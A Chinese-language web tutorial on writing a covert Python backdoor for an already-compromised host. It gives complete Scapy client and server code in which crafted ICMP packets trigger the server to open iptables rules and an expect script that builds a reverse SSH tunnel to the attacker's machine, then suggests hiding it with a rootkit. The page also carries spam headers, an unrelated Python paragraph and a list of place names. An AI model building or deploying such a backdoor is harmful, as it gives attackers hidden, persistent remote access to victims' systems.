亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么用Python編寫一個簡單的CS架構后門

發布時間:2021-04-25 10:46:46 來源:億速云 閱讀:341 作者:小新 欄目:開發技術

這篇文章給大家分享的是有關怎么用Python編寫一個簡單的CS架構后門的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

python的數據類型有哪些?

python的數據類型:1. 數字類型,包括int(整型)、long(長整型)和float(浮點型)。2.字符串,分別是str類型和unicode類型。3.布爾型,Python布爾類型也是用于邏輯運算,有兩個值:True(真)和False(假)。4.列表,列表是Python中使用最頻繁的數據類型,集合中可以放任何數據類型。5. 元組,元組用”()”標識,內部元素用逗號隔開。6. 字典,字典是一種鍵值對的集合。7. 集合,集合是一個無序的、不重復的數據組合。

0x00:事先說明

  • 你已經攻陷了對方主機且獲得了最高權限。

  • 對方的本地防火墻會丟棄所有的外來數據包。

  • 這個后門不會僅綁定在某一個端口上。

  • 這段代碼很容易寫,畢竟是 Python(準確說是 Python 2.x)。

0x01:工作原理

怎么用Python編寫一個簡單的CS架構后門

如你所見,客戶端將偽造具有 ICMP 負載的特定數據包,另一方面在服務端,也就是我們的被攻擊主機,將會接受我們發送的數據包,即使它開啟了本地的防火墻(丟棄所有外來數據包)。關鍵在于無線網卡的監聽模式,它無需和 AP 建立連接卻可以和接受所有流經空氣的數據包。

我們會用到一個有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用,不妨參考這篇文章,也許會有幫助。

0x02:客戶端代碼

'''
客戶端代碼。將服務端的 IP 地址、客戶端的 IP 地址、客戶端的連接端口,以及連接所需密碼作為程序輸入。如果成功返回一個交互式后門,在代碼硬編碼好的位置寫入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函數工作在協議棧的第三層(網絡層)

0x04:服務端代碼

服務端代碼分為兩塊:1. 主要腳本部分、2. ssh 隧道部分。

'''
服務端代碼之主要腳本部分。這個腳本會監聽 ICMP 數據包并從句法上分析其攜帶的數據部分(客戶端 IP 地址、客戶端連接端口、連接所需密碼)。接著在本地打開兩個新的防火墻規則。最后調用另一個 expect 腳本,以建立和客戶端之間穩定的 ssh 連接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模塊,允許用戶編寫代碼生成新進程,連接到它們的 input/output/error 管道,并獲取它們的返回/狀態碼。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函數會嗅探來自空氣中的數據包,prn 參數用來指定回調函數,每當符合 filter 的報文被探測到時,就會執行回調函數。有關該函數的詳細信息,可以參考這篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服務端代碼之 ssh 隧道部分,實際上是一個簡單的 expect 腳本。接受嗅探到的客戶端 IP 地址、客戶端端口,以及用于連接的密碼作為輸入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后門代碼待完善的地方。

  • ICMP payload 應該被編碼。

  • 添加其他的協議用來喚醒該后門(如 http、特定的 syn 包、dns 等)。

  • 寫一個 rootkit,隱藏該后門,猥瑣欲為。此乃后話。

感謝各位的閱讀!關于“怎么用Python編寫一個簡單的CS架構后門”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

澄城县| 宁国市| 正阳县| 宁蒗| 镶黄旗| 黄梅县| 中方县| 柳林县| 嘉善县| 正阳县| 渑池县| 泸定县| 宜城市| 德清县| 漳浦县| 墨江| 临朐县| 阜宁县| 南涧| 清流县| 米脂县| 靖宇县| 来宾市| 射阳县| 桂阳县| 沿河| 宝山区| 云南省| 邳州市| 山阳县| 凤台县| 北碚区| 镇巴县| 且末县| 宿松县| 汪清县| 呼伦贝尔市| 四子王旗| 延寿县| 德格县| 邵阳县|